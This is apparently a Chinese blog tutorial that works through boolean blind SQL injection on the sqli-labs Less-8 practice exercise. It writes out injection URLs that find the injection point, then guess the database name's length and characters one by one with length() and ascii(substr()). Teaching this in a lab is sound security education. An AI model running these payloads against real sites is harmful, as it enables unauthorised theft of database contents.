应用布尔盲注来爆库(1)

版权声明:本文为博主原创文章,承蒙转载请注明作者和出处 https://blog.csdn.net/linyt/article/details/53106321

先上道练习题Less-8

打开sqli-labs项目的练习题Less-8(http://192.168.3.2/sqli-labs/Less-8/),然后输入id=1参数,可以得到以下信息:

Less-8题目成功结果

输入有效id=1时,只提示成功(You are in …………),没有任何其它信息输入。这对于攻击者来说,无异于两眼一黑,什么也得不到。

盲注条件

根据上篇文章《基于错误信息的SQL盲注》,对题目做盲注,如下表:

注入ur 结果
http://192.168.3.2/sqli-labs/Less-8/?id=-1 or 1=1 失败
http://192.168.3.2/sqli-labs/Less-8/?id=' or 1=1# 成功
http://192.168.3.2/sqli-labs/Less-8/?id=" or 1=1# 失败

于是找到注入URL

http://192.168.3.2/sqli-labs/Less-8/?id=’ or 1=1#

请注意在浏览器上使用%23代替#

使用布尔盲注来获取数据

找到了注入的条件,但成功没有任何数据显示。那怎么获取数据库里面的内容呢?

我小时候看香港电视剧比较多,经常出现这样的桥段:

当A向B了解一些重要信息时,但碍于一些信仰问题,总是不能直接回答,那怎么办法呢? B虽然不能向A说一些关于秘密的内容,但A可以向B问一些问题,B只需回答是或否就可以了。
这样B不触犯神灵,也没有向A”透露”秘密,但最终让A知道了整个秘密

布尔盲注,跟上面的桥段完全相同。

既然已经找到注入点了,那在后面增加一些条件测试,就可以知道条件是否成功了。比如:

http://192.168.3.2/sqli-labs/Less-8/?id=' or 1=1 and (select database()) = "test1")
http://192.168.3.2/sqli-labs/Less-8/?id=' or 1=1 and (select database()) = "test2")

可以不停地使用暴力办法,将数据库名字不停地穷举,直到成功。

等等,这种办法跟穷举密码有什么两样呢,效率很低,耗时长,有什么更好的方法。

其实MySQL支持的SQL语句中提供了一系列的字符串操作函数,可以将字符的第一个,第二个,……,抽取出来,做布尔测试。

相当于

你的姓是赵,对不对 ? -- 不对
你的姓是张,对不对? -- 对了
你的名字是小明,对不对? --不对
你的名字是无忌,对不对? --对了
经过对每部分的问题和回答,可以知道是张无忌

如何猜测database()的内容

按上面的思路来试一下,先猜长度

http://192.168.3.2/sqli-labs/Less-8/?id=' or 1=1 and (select length(database())) = 1#
http://192.168.3.2/sqli-labs/Less-8/?id=' or 1=1 and (select length(database())) = 2#
直到8时才成功
http://192.168.3.2/sqli-labs/Less-8/?id=' or 1=1 and (select length(database())) = 8#

知道了database()长度为8,接下来就对每个字符做猜测。

http://192.168.3.2/sqli-labs/Less-8/?id=' or 1=1 and ascii(substr((select database()), 1, 1))=48#
http://192.168.3.2/sqli-labs/Less-8/?id=' or 1=1 and ascii(substr((select database()), 1,1))=49#

http://192.168.3.2/sqli-labs/Less-8/?id=' or 1=1 and ascii(substr((select database()), 1,1))=115#

试到115时才成功,115是s字符的ASCII码,说明database()第一个字符是s,依次使用这个方法可以尝试出database()为security字符串。

这个过程主要是使用了MySQL上的substr函数和ascii函数。感兴趣的朋友可以google/baidu一下这两个函数的用法。
上述人工搜索过程太繁琐了,可以使用python脚本将这过程自动化。

下一篇讲如何编写这个python脚本,以及提供一个将MySQL数据库dump出来的脚本。

猜你喜欢

转载自blog.csdn.net/linyt/article/details/53106321